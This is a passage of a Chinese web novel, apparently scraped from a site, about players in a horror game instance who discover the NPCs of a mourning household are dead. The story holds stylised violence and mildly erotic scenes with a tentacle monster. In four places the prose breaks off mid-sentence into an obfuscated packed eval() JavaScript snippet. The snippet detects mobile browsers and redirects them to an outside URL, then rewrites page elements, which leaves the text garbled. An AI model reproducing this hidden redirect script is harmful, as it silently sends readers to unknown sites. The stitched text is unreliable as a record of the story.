如果不是活人和死人的差别太大,NPC们怎么能迅速精确抓到玩家是哪些人,怎么会有这么强的排异心理要把玩家全部送进地狱。 顾淼:“躲钉仪式,大家都对孟老爷的死感到喜悦,是因为大家才是被孟老爷害死的人,只是如今在这座鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538917|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宅里过家家,诅咒这位不得好死的老爷罢了。” 满桥抬眼:“我也是被孟老爷害死的吗?” 顾淼卡顿了一下,他的神情有一瞬间空白,似乎终于把什么东西和自己的推演联系起来。 “……第……” “嘘。” 满桥束起食指,给了顾淼一个带点警告的眼神。 顾淼咽下了自己嘴里原本要说出的话。 “……所以新丧有很多解法,可以是诸位为孟老爷的新丧,可以是诸位为孟家长子办的新丧,也可以是……诸位的新丧,对吗?” 满桥:“你很聪明。” 新丧是个低级副本,其实就算玩家们不发现这是个生死颠倒的世界,也是可以通关的。 就像顾淼说的,诸位为孟老爷和孟良办的丧事,也可以是一种生死颠倒的新丧。 顾淼:“对于孟老爷的新丧,孟老爷想要这个家规规矩矩的。” “所以如果我们能在到达老宅的三天内拨乱反正,把诸位故意破坏的所有规矩变成正常的规矩,即可达成孟老爷想要的葬礼。” 但这一切都不可能了。 从第一天,孟老爷的丧事就混乱不堪。 顾淼继续开口:“孟良,他的妻子死了,他还活着吗?” 满桥没有直接回答:“……得成比目何辞死,不羡鸳鸯不羡仙。” 顾淼:“他殉情了,变成……” 阿良立刻挺直脊背,对于此刻自己是满桥的丈夫似乎十分满意。 顾淼笑了。 “他换人了。” 阿良:。 真的很明显吗。 真是让怪恼火。 要不是现在满桥不许,阿良肯定要冲上去扇顾淼好让顾淼了解一下谁才是大小王的。 顾淼:“他换人了,他没有想要的葬礼了。” 阿良不觉得自己死了。 所以阿良当然没有想要的葬礼。 顾淼:“但我还有一个机会,满桥——对吗?” 满桥笑起来。 “你和我第一次见到你时一样聪明。” 我第一次见到你时,你还不这么游刃有余。 伪装NPC但不够老道,第一个玩家死掉时你就差点暴露。 “那时您问我死了的人去哪了。” 顾淼歪头。 “我说死了的人根本没存在过。” 顾淼本来应该在第一次见满桥的时候就被撕破伪装的。 如果不是那时的满桥帮顾淼找补: “管家,你忙糊涂了吧。” 顾淼不是第一次和满桥这双金色的眼睛对视,但他每一次都会在和满桥的对视中感到心悸。 这是一双不太像人类的眼睛,太漂亮,和漩涡一样吸引人,一直盯着这双眼睛只会被迷的晕头转向。 所以顾淼从来不敢多看。 可他真的没有多看吗? 这双眼睛难道没有住在他的心里,随时注视。 随时审视顾淼拙劣的伪装,让他记起到底是谁隐秘地教会了他如何合格地扮演一个NPC? “满老师。” 顾淼再次提问:“那么,您想要什么呢?” “您到底——为什么给北安改名呢?” ——“不是我!” 尖利的声音打断了顾淼和满桥的谈话,屋檐下,玩家们的冲突似乎已经发展到白热化阶段。 满桥赏赐般勾了勾手指,阿良不高兴地别过头,但还是默许了顾淼的靠近。 满桥的嘴唇靠近顾淼的耳朵。 “你知道我想要什么。” 顾淼的耳朵逐渐升温。 “去找她。” 满桥重复:“我要看到她以我想要的模样出现——想想办法,顾先生。” 满桥的笑声打着转钻进顾淼的耳道,逼的顾淼侧腰发痒。 “如果你做得好……” 满桥的指尖掐住顾淼已经通红的耳垂。 “满老师会夸夸你的。” 15.新丧(14) “真的不是我,真的不是我!” 被指控的玩家目眦欲裂,“我不知道这个火柴盒为什么会出现在我身上,我真的没有放火!” 在满桥和顾淼聊天的空档,屋檐下的玩家已经在兰花的带节奏下接受了搜身。 “我怎么可能放火呢,我,我自己也在守灵,在灵堂放火,我难道不害怕烧死我自己吗!” 被指控的玩家是一个看起来有30岁的瘦高男性。 兰花:“你说你没有,那这个用空了的火柴盒怎么会出现在你的口袋里?” 玩家还想解释,但是北安打断了他的话:“装什么呢,刚刚提议搜身的时候也是你犹犹豫豫不想打应吧?” “不,不,不是我……” 兰花:“你公然毁坏丧事,坏了规矩,害的大小姐和满老师都不见了,你罪该万死!” 北安也发出一声冷笑。 “你说你也在守灵,我看你是故意混在守灵的众人之间伺机行动吧?” “你凭什么这么说我!” 瘦高个急了,他的手指像干枯的树枝,直直地指向北安,“你,明明是你说要来守灵,现在害的我身上有嫌疑!” 北安:“本来就应该来守灵,这是规矩。” 她这话说的慢悠悠的,甚至有点嘲讽的意味。 再愚蠢的人看到这场景也会觉得不对劲。 北安也是玩家,她看到另一个玩家身上莫名搜出用过的火柴盒,不害怕不说,怎么还会帮着NPC说话。 瘦高个:“你,你难道想拿我脱罪,其实是你放火,你故意栽赃嫁祸……” 他的话没说完,北安就好像被逗笑了:“我身上干干净净,你想为自己狡辩也用不着这么拙劣的说辞吧?” 兰花下了判断:“看来这件事和你脱不了干系,就算你不是主谋,你肯定也掺和了这件事!” 冷汗从瘦高个的额头掉下来,他一瞬间有点头晕目眩。 怎么会这样。 这不是他第一次进入螺旋的副本了,虽然大部分人来到螺旋都觉得痛苦,但对于瘦高个而言,来到螺旋对他未尝不是一种机会。 在现实世界,他全部身家都花在赌博上面,赔的一干二净,追债的人上门把他的房门刷成红色,再还不上钱他就要被剁了手指。 进入螺旋是可能会死,但至少不用在现实煎熬了啊。 况且,螺旋的这些低级副本又不难,其实就是遵守规则就好了。 遵守规则,只要遵守规则,人就不会死,低级副本剧情简单,NPC们会像傻子一样自己推动故事发展的。 兰花:“你还有什么要辩解的吗。” 瘦高个:“……我……” 他抬头,感觉自己脑袋转的很慢,他只看到北安冷笑着看着自己,一种无名的火气涌上心头。 这女人怎么敢和另一个家伙顺着围剿自己? 简直和自己的老婆一样! 如果当初……那臭婆娘肯把女儿卖掉,自己不也不至于沦落到这种境地…… “你以为你把我指认出去,你就能活吗!” 他的声音尖利:“你照样不能通关,要变成螺旋——” 戛然而止。 北安露出了一个心满意足的微笑,瘦高个像一个被剪开了口子的裱花袋,红色从缺口出喷涌而出,一簇一簇。 【恭喜玩家下坠,“新丧”副本剩余人数:7人】 有人尖叫,有人立刻捂上尖叫着的玩家的嘴。 “……北安,你为什么要这样……” 还是有人忍不住问,中钰想伸手拉一下问话的玩家,但没来得及。 “我们不是……” 伙伴吗? 北安转过头,脖子很僵硬,像一卡一卡的机器人。 “……我为什么这样?” 少女的笑声回荡在被烧成黑炭的灵堂之中。 “我为什么不这样呢?” 她很疑惑:“我是孟家的家仆,是一心一意办好葬礼的人。” 她微笑:“我当然——要把不属于我们家的人,都赶出去啊。” 天空阴沉沉,但还没有下雨,玩家们却觉得自己身上比下了雨更冷。 北安和兰花拉手,一起转头对着玩家们露出笑容。 “你们要看好灵堂,这是规矩。” “不守规矩,可就和他们一个下场喽。” 半边老宅化为焦炭,北安和兰花站起身施施然离开灵堂,除了孟鸠,没有玩家能保持脸上的神色不难看。 他们早被盯上了。 NPC假装玩家混进他们之中,从副本开始的一切都是针对他们的狩猎行动。 今日的第一滴雨降落。 = “呼呼。” 顾淼离开,阿良不再矫情地保持人类形状,而是化成更方便依托满桥的柔软模样。 ‘下雨了,满桥,冷。’ 满桥:“不冷。” 阿良很固执:‘冷。’ 满桥:…… 怪物有自己的行为逻辑,真是让人搞不懂。 戏也看完了,满桥没有再尝试纠正阿良让他知道自己真的不冷。 ‘不干预?’ 阿良无条件支持满桥做什么。 它的确是中途加入这个副本的,但是再傻也看出了满桥实际上想要帮助玩家通关这个副本。 阿良不问满桥为什么。 满桥总有自己的道理。 满桥:“还没到我们出手的时候,要真是什么环节都能让我操作,新丧也不至于开了7次了。” 屋檐下,玩家们都走进灵堂,虽然情况已经十分严峻,但大家总归还是想要继续活下去的。 只有一个人还站在门外。 孟鸠。 他抬起头,耐心地等待满桥和自己对上眼神。 怪物的阴影在满桥脚下不安的翻涌,显然也注意到,走了一个顾淼,又来了一个想和满桥说话的坏人。 满桥:“不要闹。” 阿良不语,只是缠住满桥的手腕和脚腕,顺着满桥的皮肤往里钻,试图用任性的方式表达自己的拒绝。 “阿良。” 有点警告意思了。 触手动作卡顿,最终似乎还是接受了这个安排,无论如何它是个很听话的怪物。 身穿薄纱的美人回眸,孟鸠先是一愣,然后在小雨中耀武扬威地举起自己的手,向满桥展示自己腕上的丝巾。 “阿良,乖。” 其实已经伸出去半截准备勒孟鸠脖子的触手艰难忍耐,不情不愿回到满桥的衣摆下方。 孟鸠:“嫂子。” 他歪头:“我就知道你没事。” 触手是满桥的坐骑,满桥轻松从屋檐降落到地面,他撑着下巴,眼睛可以用波光粼粼来形容。 “你知道我没事?” 孟鸠很认真:“你的丝巾都还在我这呢,你怎么舍得死。” 满桥:“你觉得我是因为这条丝巾舍不得死?” 孟鸠:“我觉得你舍不得我,嫂子。” 触手火气更大,这次满桥没来的及阻止,阿良的腕足像一道恐怖的鞭子抽向孟鸠,但被孟鸠化解。 阿良还想再打,但一只像白瓷一样的手搭在了他的躯干上,阿良只好收回。 “这是我哥?” 孟鸠的头发被打湿了,满桥被阿良庇护这一点雨水都没有沾到。 孟鸠吹了声口哨:“我哥对我可真够差的。” 满桥终于被逗笑了,他抬手伸向孟鸠:“丝巾还我。” “不要。” 气氛变得有点危险。 孟鸠挑眉,当着满桥的面将丝巾放在鼻尖,狠狠吸了一口。 “好香。” 阿良出奇地安静,但满桥知道阿良这下是真的生气了。 “阿良,去外边等我。” 阿良没有动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545280|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 满桥轻声安抚:“好阿良,纵容我一次,好不好?” 谁能受得了满桥撒娇。 阿良抱了满桥一天,身上的腕足都被满桥的香气腌入味了,听到满桥这样哄它,它很可怜地收缩身体,好像要把满桥给它的所有香味都储存好。 触手逐渐撤退,他不知道从哪里捞来毯子和伞,极其小心地将满桥放在毯子上站稳,细小的触手再满桥发丝间徘徊,将满桥艳丽的红色长发挽成低马尾。 孟鸠沉默地看着这一切,雨水已经打湿了他的肩头,打湿了满桥的丝巾。 满桥:“混小子。” 孟鸠心满意足地笑了。 没有阿良在身边盯着,孟鸠似乎更加肆无忌惮,他几步上前,身上沾染的冷气飘到满桥面上,惹的满桥不高兴蹙了蹙鼻子。 孟鸠低头:“嫂子,借点伞呗。” 满桥冷哼,但还是默许了孟鸠的靠近。 孟鸠:“嫂子,是你说的,我是你家人,我怎么不把自己看的重要一点呢?” 满桥:“我把你当弟弟,你把我当情人?” 孟鸠愣了一秒,忽然有点严肃:“我没有。” 满桥:“你……” 孟鸠:“我是处男。” 满桥:…… 谁问你了。 满桥假笑:“活烂。” 孟鸠:“那不得试试……嘶。” 舌头,被抓住了。 一米八几的青年被被拽着舌头弯腰,大半边身体暴露在雨幕中,他浑然未觉,甚至眼冒金光。 满桥的拇指擦过孟鸠的舌钉,温热的金属带给满桥一种陌生的触感。 “不学好。” 孟鸠说不了话。 满桥:“你知道我为什么喜欢你吗?” 孟鸠想要摇头,又有点害怕变成哑巴。 满桥笑眯眯。 “因为你活着。” 拇指顶起孟鸠的牙齿,满桥的手稍微伸进孟鸠的口腔,指腹摩擦孟鸠的上颚。 强烈的痒意袭击孟鸠,跑也跑不掉,孟鸠也不敢咬人。 满桥慢条斯理:“活着好啊,不是只是有一条命就叫活着,对吧?” 阴雨绵绵,湿润的空气让伞下狭小的空间变得极其暧昧。 “小九,你很聪明。” 满桥的指腹有一下没一下摩擦,对于孟鸠而言,痒意无法消解,神经被刺激地兴奋。 满桥:“是不是也该换个思路,想想这间屋子还有什么你能完成的愿望呢?” 他终于松开了孟鸠的舌头,孟鸠控制不住呛咳起来。 满桥重复:“你知道我在说什么,对吧?” 孟鸠捂着嘴。 “……真希望不知道。” 孟鸠:“嫂子这么好看,怎么舍得做死人呢。” 孟鸠彻底确认NPC才是死人这件事,是在今天早上躲钉。 NPC表现的太怪异,加上满桥房间日记本里的端倪,很难不看出这件事。 但在见到孟良之前,他都没有放弃通过孟良通关副本的想法。 见到了他就知道完蛋了。 按照满桥房间中线索提示,孟良想要的葬礼要满足两个条件。 第一、他要吃满桥亲手做的肉包子。 第二、他要烧了老宅剩下半边屋子。 但是孟良人都在满桥旁边了,又本事那么强,哪里还需要玩家帮他做这些事。 副本一定出了什么意外,导致孟良发生这样的变化。 但现在,和满桥在同一把伞下,孟鸠反而一点也不想和满桥聊副本的事。 他锁定满桥的视线,像沙漠中终于找到一口井的旅人,带着一种狂热的期待。 “满桥,满桥。” 孟鸠很认真。 “我会一直来求你的爱的。” 香气飘进孟鸠的鼻腔。 “求你教教我——我该怎么爱你呢?” 16.新丧(15) 满桥向来不觉得美丽是一种资源。 金钱、权势,任何一种可以被称得上资源的东西都应该有绝对的优势,并且其可以随着时间的增长而积累。 美丽却不一样。 但美丽也不是什么坏事。 雨还在下。 孟鸠和满桥挨的很近,满桥能从孟鸠的眼睛中看到自己的眼睛。 他听到伞上噼噼啪啪的打击声。 孟鸠比他高,但因为刚刚满桥揪舌头的动作把腰弯的很低,几乎到了鼻尖碰鼻尖的地步。 “……满老师?” 满桥觉得,雨水搭在雨伞布的声音,比起让人放松的疗愈频率,更像隐秘的战鼓。 正如现在,他面对的是一个带着挑衅的孩子。 满桥一直没有把孟鸠的示好放在心上,就像他说的,美丽不是什么资源,但也不是什么坏事,你总能收获一些看到你的脸和红发就走不动路的小孩。 他们都太年轻,至少在满桥看来太年轻,太轻狂,以为一时激素的冲动就是爱意,喜欢人到了一种不尊重的境地。 孟鸠的示好,和一种挑衅几乎没有区别。 这是满桥早就接受的。 如果你接受他是一个有生命力的,野蛮的青年,你就必须要接受他的攻击力,接受他的漫不经心和游戏人间。 “……如果我把你看作我的弟弟。” 满桥轻声开口。 “我就真的应该教你。” 关于爱的事。 “但我们只是……露水情缘。” 更何况。 “你又怎么舍得只做我的弟弟呢。” 暧昧在眼波流转,却在真的接触到满桥真心边界的时刻搁浅。 “你是一个不懂爱的孩子。” 满桥眨眼,金黄的倒影在孟鸠的瞳孔中消失又出现。 满桥:“所以当你察觉到一点和爱相关的事,你对这种陌生的东西,本能地产生战意。” 噼噼啪啪,伞上紧锣密鼓。 满桥的手指勾起孟鸠的手指,看起来是主导者的询问者乱了阵脚,在满桥摸到他虎口伤疤的时候大脑产生战栗。 孟鸠:“……我……” 满桥:“我以为你说了这么多,其实只是想对我说一句话。” 孟鸠:“……什么?” 雨一直下。 好冷。 满桥笑了,不带挑衅意味,不神秘,不带有任何让人想入非非目的的笑。 “你只是想让我问问你。” “问问你,怎么了、痛不痛、冷不冷。” 孟鸠:“我没……” 满桥:“你想要我生气,想要我真心,又怕我真的并非假意。” 孟鸠:“等等!” 战鼓自乱阵脚,情愫悠然而生。 虎口上,漫长的一道疤痕。 被白皙纤细的漂亮手指摩挲,带来与孟鸠平时自己触摸时完全不同的感觉。 满桥:“疼吗?” 孟鸠像被施了定身咒。 他真的问了。 他真的在问我疼不疼。 孟鸠陷入了一种巨大的迷茫。 这道伤口不是螺旋带给他的,他在进入螺旋前已经为自己的人生宣布了死刑。 孟鸠只有一个人生信条,那就是要活的够爽。 他这样爽的人,怎么会因为轻飘飘的感情,陷入巨大的迷茫。 满桥还是松开了他的手。 他们挨的太近了。 “我信奉无人是拯救者,所以我当然不问你的过往,也不对此好奇。” 满桥向后退一步。 “但我也信奉,有时候人的本能会比人的大脑更聪明。” 阿良悄然回到满桥身边,它接过满桥的伞,让满桥继续舒舒服服地躺在它柔软的躯干上。 “如果你的本能真能驱使你再找到我,想明白求我的爱,我会愿意听你讲讲你的故事,顺便……” 满桥歪头:“小九。” 孟鸠依然保持着迷茫的神色,和一个刚出新手村偶遇顶级魅魔的毛头小子没有什么区别。 满桥:“丝巾,送你了。” 红发美人最后落下一个调笑的眼神。 “别拿我的衣服做不好的事,我没有允许。” 孟鸠猛然脸红,不知道如何辩解。 满桥:“你要乖乖听话哦。” 老宅阴雨不断,这是早就说过的事。 在雨中,孟鸠心里点燃一簇火。 旺盛,向四肢百骸扩散。 孟鸠觉得自己完了。 这团火不会熄灭了。 就算把所有雨水烧干也不能再熄灭。 满桥已经不见踪影,可是孟鸠却不停摩擦自己虎口的伤口。 怎么了,怎么了。 孟鸠,怎么了? 在你不知道自己做什么的时候,怎么了? 雨一直下。 “……妈妈。” 如梦初醒,孟鸠死死抓住丝巾。 “……真是疯了。” 他不再犹豫,快步走向灵堂。 他怎么会想到妈妈。 他怎么会在最迷茫,最不知道该做什么的时候想到妈妈。 他的妈妈早死了。 他也早该去死了。 = 阿良真的是一个很爱吃醋的怪物。 但是满桥充分理解。 毕竟他今天真的和不同男人交涉一番,哪怕阿良是个没有被副本记忆影响到的好怪物,现在心里肯定也不舒服。 即便如此,阿良依然秉持着“贤夫”人设,优先询问满桥要做的事是否处理好: ‘满桥,不继续,盯着?’ 它问的是玩家的动作,阿良以为满桥这么在意这次副本是否能够通关,一定会随时跟着玩家们的。 满桥:“事情发展到现在,也不需要我盯着。” 北安和兰花总是喜欢把玩家逼到绝路,逼的玩家们终于意识到除了孟老爷还有一件可以办的丧事。 往日的副本重启也走到过这一步,每到北安和兰花的戏演不下去了,大家就会发现新的路子,总之只要还有路走,玩家总不会想要放弃生命。 哪怕有时候玩家蠢的出奇,顾淼都会连哄带骗地把还可以把另一桩丧事这件事透露给玩家。 但是新丧这个副本难的根本不是知道如何办一桩丧事,而是如何落实。 玩家们会受限于NPC的暗示,畏手畏脚,或者想不明白有些条件到底怎么达成,卡在半路。 阿良不说话,它撩起满桥的头发,洗发水味道混着满桥本身的香味钻进阿良的触手,它满意又羞涩。 满桥:“阿良到底是怎么进来副本的?” 这是满桥最不理解的事。 阿良:‘……偷渡。’ 满桥:“你居然还会说这个词语。” 阿良:…… 黑漆漆的软体大章鱼硬生生在满桥表现出了委屈和撒娇,‘阿良, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558182|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学习。’ 满桥:“学习?那你从哪学的这词?” 阿良:‘书。’ 满桥:“你还能看懂书?” 阿良:…… 深感受辱! 柔软的躯干像史莱姆一样快速包裹了满桥,红发美人预感不妙,但还是没能抓住此刻一心要证明自己学的很好的怪物。 ‘锁骨。’ 阿良用点力气,摩挲满桥漂亮的骨骼线条。 因为满桥本身很瘦的缘故,阿良这样无顾忌地包围让满桥感到一点危险,好像怪物里自己的器官和血液几乎没有距离。 阿良本身是感受不到这件事了,在他的触感下,满桥微软的肌肉包裹着玉一样的骨骼,摸起来舒服的不得了。 满桥:“等等……” 阿良一心证明自己:‘胸部。’ 满桥:“……” 哪怕是魅力无边的美人也脑子卡顿了一下,他慎重思考了几秒阿良是真的不懂还是装纯占便宜,又在阿良顺着肋骨向下滑的动作里被迫停止思考。 “阿良!” ‘腹部。’ 柔软的小腹微颤。 肚子是大部分哺乳动物最脆弱的部位之一,满桥认为应该没有任何一个人先要被一双陌生且冰凉的大手按在肚子上揉搓。 更何况阿良覆盖的躯干比一双手的体积大得多。 威慑力也大得多。 简直好像有人压住了你的小肚子,一下一下抚摸。 像小狗被抓住后脖颈,小猫被放进游泳池。 满桥本能要打肚子上的坏东西。 ……动不了。 手腕被纤细的触手拉住,这种柔软的造物相比较绳子不会在满桥的身体上留下任何痕迹,但此刻却明明白白彰显了自己比绳子更有力气。 阿良:‘……错了。’ 阿良迅速抽回自己的触手:‘满桥,不打自己。’ 它终于意识到自己表现的学习成果对满桥不是什么乐于接受的事,瞬间萎靡地蜷缩起来,撤离满桥的肌肤。 没有痕迹。 满桥敏感的神经一跳一跳。 ……太奇怪了。 实在是太奇怪了。 阿良的身体太灵活,太擅长让人这种脆弱的生物被牵引,意识滑坡到下流的境地,但这该死的触手竟然真的不留痕。 那不就是…… 只有被欺负的人才知道什么感觉。 旁人看来,好像一个人身上什么也没发生,却莫名其妙动情了。 ……好不甘心。 满桥反客为主,抓住阿良的触手,心中升起小小的报复之意。 “阿良。” 阿良还在反思自己,虽然它还不太清楚自己为什么又让满桥不舒服了。 满桥笑眯眯。 “阿良,不可以变成人吗?” 阿良在温声细语下不知道南北西东。 满桥:“努力变人哦,阿良。” 变成人,非得让你脸红脖子红露出不知所措的表情。 满桥撑着脑袋,悄悄磨后槽牙。 变成人就有弱点。 比怪物好对付多了! 阿良羞涩地扭动躯干,像一只小蛇一样绕上满桥的手腕,它一点也不知道面前美人存了报复的小心思。 ‘好。’ 阿良坚定:‘我会好好学习!’ 要学会错题集,阿良暗下决心。 阿良……要变成身高两米的活好人类! 17.新丧(16) “……闹什么脾气。” 满桥伸手拍拍阿良的身体, “怎么让你到这边来一趟还委屈你了?” 阿良:…… 不说话,但是靠在满桥身上撒娇。 因为灵堂的火灾,老宅烧没了半边屋子,但还剩下半边没有受到损害。 灵堂就设在老宅正中间,一场火灾下来老宅比先前南北建筑交错显得更加古怪。 现在不仅屋子中没有绿植又分不清南北风格,而且一半是焦炭,一半是死气沉沉的房屋。 大姐的屋子和满桥方向相反,虽然离灵堂比满桥的屋子灵堂更近,但没有受到任何波及。 水泥地面,花纹繁复的花瓶随便摆在茶几上,虽然是本来就是装饰作用,但看起来毫不用心考虑花瓶和房屋风格的适配性。 不显得屋子贵气,反而显得屋子陈旧,连这样过时的花瓶都随便摆出来。 阿良卷着满桥的脚腕,有点不适。 满桥:“……怎么了?” 阿良:‘……阴。’ 阴? 满桥抬头。 大姐的屋子的确采光很差,正常屋子好歹还有一扇能享受阳光的窗子呢,大姐的屋子倒好,别管什么时辰,外头的阳光是一点没办法从屋子里设计刁钻的窗户中投射进来。 本来水泥地面光反射就弱,这个副本中又没有什么照明能力足够强的灯具,再搭配上大姐屋子里饱和度低明度也低的摆件,当然显得屋子阴。 满桥:“你还害怕这个?” 安抚性质摸摸阿良,满桥继续转头翻找自己要找的东西。 阿良:…… 不是光线阴。 怪物很懂事地没有在满桥做事时候出生,只是分出自己身体的一部分在屋子中巡视一圈。 是没有一点活人味。 阿良进入副本的时候也是接收过副本记忆的,但它是钻空子来的,它也不知道上一任扮演“长子”这个角色的NPC去了哪里。 它唯一能知道的就是……它来顶替这个身份的时候,感受到了同样的阴。 和这间屋子一模一样。 不是什么舒服的气息。 哪怕副本设定中NPC实际上都是死人,阿良也不觉得这种阴是正常的。 就算它看满桥有滤镜所以才不觉得满桥阴好了,他在北安和兰花身上也没有感受到这种阴。 “阿良,去那边找找。” 满桥合上衣柜。 “记得找什么吗?” 阿良很乖巧分出身体,一边回答满桥的问题:‘旗袍、日记。’ 满桥点头。 “这不是很聪明吗?” 阿良:……(暗爽中) 哪怕只是从屋子的布局和摆件看,稍微有观察力的人就能看出大姐在孟家的地位实际上并不高,至少真正大权在握的家主不会住上这种屋子。 更别说平时穿的都灰扑扑,配上大姐总是严肃的吊梢眼,一时间分不清眼前的人到底是家中的大小姐还是家中管家。 阿良转了一圈,没找到东西,但是听到了脚步声。 ‘有人。’ 满桥:“……这时候来这里?” 他还没找到东西,但这个时间点也不是他这个NPC该出场的时候。 阿良:‘去哪?’ 它已经准备好带满桥离开这个让怪不舒服的地方。 满桥:“……躲一下。” 他勾手指,阿良立刻将身体缩小成小蛇大小依附在满桥手臂,满桥一转身,赶在玩家彻底进来前躲进柜子。 阿良:‘……要找的话,一下就暴露。’ 满桥敷衍:“我知道。” 阿良:? 那还躲在这里,不是说这个时间点不是NPC该出场的时候吗。 满桥小声:“如果是小九来了,不怕被他发现,如果是别人来了,发生什么还不一定呢。” 他观察过了,对玩家中大部分玩家的智商很有自信。 笨的相当。 他不信这群人能那么快结束相互对立,知道来大姐屋子找东西。 “这儿没人。” 第一个说话的是个男人。 满桥听到这个声音就安心了。 这是本次副本重启后进来的一对情侣,智商是马里亚纳大海沟的水平,能活到现在都是离奇,特别让NPC放心。 接下来是女人的声音:“怎么办……现在,好危险。” 满桥打了个哈欠。 阿良忽然在满桥的手臂上再次警觉起来。 满桥:“……怎么……” “咔咔” 躲藏柜子的木板发出细小响动,满桥疑惑转头。 屋子里的情侣还在聊正事的前摇环节: “老婆,你放心,只要这次我们都出去,我们就……” “啊!” 屋内骤然沉默。 一对情侣吓白了脸,朝满桥的柜子看去。 “……有人吗?” 没人回应。 “……吱吱。” 一只小老鼠钻出来,引得这对情侣连连后退。 “……是老鼠啊。” 女方安心下来,嘟嘴:“你怎么被吓成这样?” “我哪有!” 两人又开始一轮新的前摇。 柜子里,木板被拆卸,满桥被捂着嘴捞进顾淼怀里。 顾淼:“……咳。” 他转过头,忍不出露出一点笑意。 顾淼还以为满桥不会有惊讶的时候呢。 毕竟这位美人实在是显得太成熟有魅力,如果说这座老宅是怨气冲天的鬼宅,那满桥就是鬼宅里最漂亮残忍的艳鬼。 ……不对。 顾淼悄悄纠正自己。 其实并不残忍。 但十足美丽。 什么这的那的,满桥不知道顾淼在想什么,只知道他在偷笑。 满桥真是火大,但现在火大不是最要紧的。 “……你们俩。” 好挤。 阿良是不甘示弱的,他好像对顾淼那双开门大冰箱的身材颇有微词,每次见到这人就要幻化出人型,而且一定要比顾淼高,比顾淼壮。 虽然阿良现在根本不知道怎么捏人,只能搞出来像恐怖故事一样的黑漆漆巨大人影。 一人一怪倒是竞争上了,倒是苦了满桥。 本来人就不大,这柜子把木板拆了露出的密室甬道也很狭窄,满桥被两个大冰箱可怜巴巴夹在中间。 “做什么?” 他小声询问,忍了忍还是没忍住,用头砸了一下身后的顾淼。 他现在的姿势,像小孩一样被环在顾淼怀里,面前还有个庞大的黑漆漆人形怪,想扇人都没办法发挥。 顾淼:“……您不是让我来找大姐吗。” 满桥:“那你在这做什么?” 顾淼诚恳:“来大姐的屋子找大姐。” 满桥:“……神经。” 那还用得着你。 几句话的交流时间,外头的情侣终于过完了前置腻歪环节,说起正事。 “老公,你有没有觉得,那个孟鸠在骗我们!” 她一米六的老公一拍手掌:“老婆,你果然和我一样聪明。” 满桥:“……一群神经。” 他蹭了蹭身体,把脑袋卡在顾淼胸部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558183|170876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最软的沟壑上,动了动脑袋。 顾淼:“满……” 满桥:“闭嘴。” 阿良沉默地看着这一切,深深记住了变成人型要捏的形体特征之一。 满桥:“忍着,不许硬。” 顾淼:“……这能忍吗?” 满桥翻了个白眼。 “阿良就能,没本事的男人。” 阿良当然能,阿良就没有。 那对蠢的人发晕的情侣还在对话: “老公,这个副本早说了我们要守规矩,咱们一直守规矩,也确实没出事,怎么到了孟鸠嘴里,守规矩反而错了!” “对!” 她老公愤慨:“我就看不上他,而且……” 男方清咳一声。 “你不觉得孟家不规矩的地方太多了?我倒觉得,是因为孟家不规矩的地方多,所以孟老爷想要的葬礼才没有完成。” “老公,你是说孟老爷的葬礼不像那人说的,完不成了?” “对!” 狭小的缝隙中,顾淼听的头疼。 “……他们到底在对什么。” 满桥倒是一脸习惯。 “你还是不知道?” 顾淼:“……什么?” 满桥:“……蠢才。” 他的头发被阿良抓着玩,尽管阿良现在的手像一个姜饼人,看起来有点□□趣味。 满桥:“再教你一回,这规矩,都是越信越有的。” 顾淼:“越……” “对啊老公,你说的太有道理了!” 缝隙中,阿良不适地蜷缩身体,逼的满桥空间更窄,满桥想生气,又看出阿良的不对劲。 “……阿良?” 阿良:‘……阴。’ 难受。 这两个人身上,也阴阴的。 让怪不爽。 满桥的瞳孔略微睁大一点。 房间中,女方下了断论:“就是这样,就是这样,咱们搜查灵堂的时候不都翻出来了吗?孟老爷这人好体面,他家中没有不守规矩的,女儿孝顺,女婿有才,家仆恭谨,只要我们都……” 两人忽然都沉默,像运行故障的机器。 下一秒,他们忽然笑起来。 “老婆,我们该让大姐回家。” 他们手拉手。 